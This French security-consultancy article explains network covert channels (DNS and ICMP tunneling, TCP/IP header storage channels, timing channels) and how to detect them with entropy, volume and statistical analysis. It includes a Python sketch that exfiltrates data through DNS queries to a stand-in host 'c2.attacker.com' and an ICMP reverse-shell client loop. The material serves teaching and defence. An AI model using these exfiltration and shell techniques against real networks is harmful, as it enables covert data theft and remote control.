TL;DR — En résumé
Covert channels réseau : DNS tunneling avec Iodine, ICMP exfiltration, stéganographie HTTP/TLS, timing channels. Détection et hunting. Guide expert.
Les covert channels (canaux cachés) sont des mécanismes de communication qui exploitent des canaux légitimes pour transmettre des informations de manière indétectable par les systèmes de surveillance réseau classiques (IDS, pare-feu, DLP). Là où la communication C2 traditionnelle utilise des protocoles réseau standards (HTTP, DNS), les covert channels encodent les données dans des champs protocolaires non surveillés, dans les timing des paquets, ou dans les pixels d'images transmises sur le réseau. Les techniques vont de la simple stéganographie réseau (données cachées dans les headers TCP/IP) aux canaux sophistiqués exploitant les variations temporelles, les champs DNS TXT, et les protocoles peer-to-peer. Ce guide couvre les fondamentaux des covert channels, les techniques d'implémentation (storage channels, timing channels, stéganographie), les outils existants (Covert_TCP, DNScat2, Iodine, ICMP tunneling), la détection statistique, et les implications pour l'exfiltration de données sensibles et les opérations Red Team.
\\nEn bref
- Taxonomie : storage channels (données dans les headers) vs timing channels (variations temporelles)
- DNS tunneling : encodage de données dans les requêtes/réponses DNS (DNScat2, Iodine)
- ICMP tunneling : exfiltration via le payload des paquets ICMP echo request/reply
- Stéganographie réseau : données cachées dans TCP ISN, IP ID, TTL et champs optionnels
- Détection : analyse statistique, entropie des champs, machine learning sur les flux réseau
Taxonomie des Covert Channels Réseau
\\n| Type | Mécanisme | Bande passante | Détectabilité |
|---|---|---|---|
| Storage Channel | Données encodées dans les champs protocolaires | Moyenne-Haute | Moyenne |
| Timing Channel | Information dans les délais inter-paquets | Très Basse | Très Difficile |
| DNS Tunneling | Données dans les requêtes/réponses DNS | Haute | Haute (si volume élevé) |
| ICMP Tunneling | Données dans le payload ICMP | Moyenne | Moyenne |
| HTTP Covert | Données dans les headers HTTP custom | Haute | Basse |
| Stéganographie | Données dans les images/médias | Basse-Moyenne | Très Difficile |
DNS Tunneling : L'Exfiltration la Plus Courante
\\nLe DNS tunneling est le covert channel le plus utilisé en pratique car le trafic DNS est rarement filtré et traverse la plupart des firewalls. Les données sont encodées dans les sous-domaines des requêtes DNS et dans les réponses TXT/CNAME :
\\n#!/usr/bin/env python3\\n# DNS Tunneling — Exfiltration basique via sous-domaines\\n# Principe : encoder les données dans les requêtes DNS\\nimport base64, socket, struct\\n\\ndef exfiltrate_dns(data, domain="c2.attacker.com", dns_server="8.8.8.8"):\\n """Exfiltrer des données via des requêtes DNS"""\\n # Encoder en base32 (DNS-safe, case-insensitive)\\n encoded = base64.b32encode(data).decode().rstrip('=').lower()\\n \\n # Découper en chunks de 63 chars max (limite label DNS)\\n chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]\\n \\n for i, chunk in enumerate(chunks):\\n # Construire le nom de domaine : chunk.seq.domain\\n qname = f"{chunk}.{i}.{domain}"\\n \\n # Construire et envoyer la requête DNS A\\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n query = build_dns_query(qname)\\n sock.sendto(query, (dns_server, 53))\\n # La réponse peut contenir des données du C2\\n response = sock.recv(512)\\n sock.close()\\n\\n# Côté serveur C2 : un serveur DNS autoritaire pour c2.attacker.com\\n# reçoit les requêtes et reconstruit les données à partir des sous-domaines\\nICMP Tunneling
\\nLe ICMP tunneling encode les données dans le payload des paquets ICMP echo request/reply (ping). Le payload ICMP n'est pas inspecté par la plupart des firewalls — seuls les headers ICMP sont analysés. Les outils icmpsh et ptunnel fournissent des tunnels ICMP prêts à l'emploi :
\\n# ICMP Tunneling — Shell inversé via ICMP\\n# Envoi de commandes dans le payload ICMP echo request\\n# Réception des résultats dans le payload ICMP echo reply\\nimport socket, struct, os\\n\\ndef icmp_shell_client(target):\\n sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)\\n while True:\\n cmd = input("$ ")\\n # Construire un paquet ICMP echo request avec la commande en payload\\n icmp_packet = build_icmp_echo(cmd.encode())\\n sock.sendto(icmp_packet, (target, 0))\\n # Recevoir la réponse (résultat de la commande) dans ICMP echo reply\\n data, addr = sock.recvfrom(65535)\\n result = parse_icmp_reply(data)\\n print(result.decode())\\nStorage Channels : Headers TCP/IP
\\nLes storage channels exploitent les champs protocolaires inutilisés ou sous-utilisés pour encoder des données :
\\n- \\n
- TCP Initial Sequence Number (ISN) : encoder 32 bits de données dans l'ISN de chaque connexion TCP. Indétectable car les ISN sont normalement aléatoires. \\n
- IP Identification field : 16 bits par paquet, normalement séquentiels ou aléatoires — encoder des données dedans est indétectable sauf par analyse statistique. \\n
- TCP Urgent Pointer : champ rarement utilisé, peut transporter 16 bits par segment TCP. \\n
- TCP Timestamp Option : 32 bits par segment, encode des données dans les variations du timestamp. \\n
- TTL (Time To Live) : varier le TTL de +/- 1 encode 1 bit par paquet. \\n
Timing Channels
\\nLes timing channels encodent l'information dans les délais entre les paquets. Par exemple, un délai de 100ms encode un "0" et un délai de 200ms encode un "1". Les timing channels sont les plus difficiles à détecter car ils ne modifient aucun champ protocolaire — seul le timing varie, et les variations réseau naturelles masquent le signal.
\\nDétection des Covert Channels
\\n- \\n
- Analyse d'entropie : les données encodées en base64/base32 dans les sous-domaines DNS ont une entropie plus élevée que les noms de domaine normaux. Un seuil d'entropie >3.5 bits/caractère sur les sous-domaines est suspect. \\n
- Analyse de volume DNS : un hôte émettant des centaines de requêtes DNS uniques vers un même domaine est anormal — signature typique du DNS tunneling. \\n
- Inspection ICMP : les payloads ICMP echo normaux (ping) sont fixes et courts. Des payloads ICMP de taille variable avec une entropie élevée indiquent du tunneling. \\n
- Analyse statistique TCP : la distribution des ISN, IP ID et timestamps doit suivre les modèles attendus de l'OS. Des déviations indiquent un storage channel. \\n
- Machine Learning : les modèles ML entraînés sur les features réseau (taille paquets, inter-arrival time, entropie) détectent les covert channels avec une précision >95%. \\n
À retenir
- Les covert channels encodent des données dans les protocoles légitimes — invisibles pour les firewalls classiques
- Le DNS tunneling est le plus courant : données dans les sous-domaines (63 chars/label, illimité en volume)
- Les storage channels TCP (ISN, IP ID, timestamps) transportent des bits dans les champs protocolaires
- Les timing channels (délais inter-paquets) sont quasi-indétectables — aucun champ modifié
- La détection repose sur l'analyse d'entropie, les anomalies de volume et le machine learning
FAQ — Questions Fréquentes
\\nQuel est le covert channel le plus difficile à détecter ?
Les timing channels sont les plus difficiles à détecter car ils ne modifient aucun champ protocolaire — seul le timing entre les paquets varie. Les variations réseau naturelles (jitter, congestion) masquent le signal. La détection nécessite une analyse statistique fine des inter-arrival times sur de longues durées. La bande passante est très faible (bits/seconde) mais suffisante pour l'exfiltration de clés ou de credentials.
Comment détecter le DNS tunneling ?
Les indicateurs principaux : entropie élevée des sous-domaines (>3.5 bits/char), volume anormal de requêtes DNS uniques vers un domaine, longueur des sous-domaines (>30 chars), types de requêtes inhabituels (TXT, NULL), et taille des réponses DNS anormalement grandes. Les outils comme PacketBeat + Zeek + ML (isolation forest) détectent efficacement le DNS tunneling.
Les VPN ne sont-ils pas suffisants pour l'exfiltration ?
Les VPN sont détectables par les systèmes réseau (signatures de protocole, ports non standard, volume de trafic). Les covert channels sont utilisés quand les VPN sont bloqués ou surveillés : réseaux d'entreprise avec inspection TLS, environnements air-gapped avec accès DNS limité, ou opérations nécessitant une furtivité maximale. Le DNS tunneling fonctionne même dans les réseaux les plus restreints car le DNS est rarement bloqué.
Besoin d'un accompagnement expert ?
Nos consultants spécialisés en sécurité réseau et détection d'intrusion vous accompagnent dans l'évaluation de votre posture de sécurité.
Contactez-nous? Articles connexes
? Références externes
Détection des canaux cachés dans les environnements d'entreprise : approche comportementale
\nLa détection des covert channels réseau repose sur l'analyse comportementale des flux plutôt que sur la signature des payloads. Les techniques de détection les plus efficaces exploitent les caractéristiques statistiques anormales : timing irrégulier caractéristique des timing channels (corrélation de Kolmogorov-Smirnov sur les intervalles inter-paquets), taille de paquets aberrante pour le protocole utilisé, et patterns de communication périodiques rigides révélant un mécanisme de beacon.
\nLes outils spécialisés incluent Codebreaker (analyse de timing channels sur PCAP), les modules de détection de steganographie réseau de Zeek (anciennement Bro IDS), et des solutions commerciales comme ExtraHop Reveal(x) qui applique du machine learning sur les métadonnées de flux. Pour les organisations OT, où les communications industrielles ont des patterns temporels très réguliers, toute variabilité inhabituelle dans les timings des échanges Modbus ou PROFINET doit déclencher une investigation — les canaux cachés dans les protocoles industriels constituent un vecteur d'exfiltration de plus en plus utilisé par les groupes APT ciblant les infrastructures critiques.
\nLa construction de canaux cachés dans les protocoles légitimes exploite les champs optionnels ou les variations comportementales que les inspecteurs de paquets standards ignorent. Les exemples les plus sophistiqués incluent : l'utilisation du champ ID de fragment IP pour encoder des bits (incrémentation non standard trahissant un canal de données), la modulation du TTL initial des paquets entre valeurs légèrement différentes pour encoder un canal binaire de faible débit, et l'utilisation des options TCP rarement utilisées (timestamp granularity, padding) comme vecteurs d'exfiltration. Ces techniques nécessitent un faible débit mais permettent une exfiltration quasi-indétectable sur de longues périodes.
Pour les équipes de threat hunting, la recherche de canaux cachés doit s'intégrer dans les routines de chasse aux menaces avancées (APT). Les indicateurs à rechercher incluent des communications vers des destinations inhabituelles avec des volumes de données ridiculement faibles mais réguliers (signatures de beacon), des variations statistiques dans les champs IP/TCP normalement constants pour une même source, et des connexions DNS avec des noms de domaine encodant des données (DNS tunneling via sous-domaines de longueur anormale). Le plugin Zeek `dns-tunneling-detector` ou les règles Snort dédiées aux canaux cachés DNS constituent des points de départ pour l'automatisation de cette détection.

Testez vos défenses avant les attaquants
\\nPentest, Red Team, audit de sécurité — rapport détaillé avec plan de remédiation priorisé.
\\n\\nUn projet cybersécurité ?
Expert dispo · Réponse 24h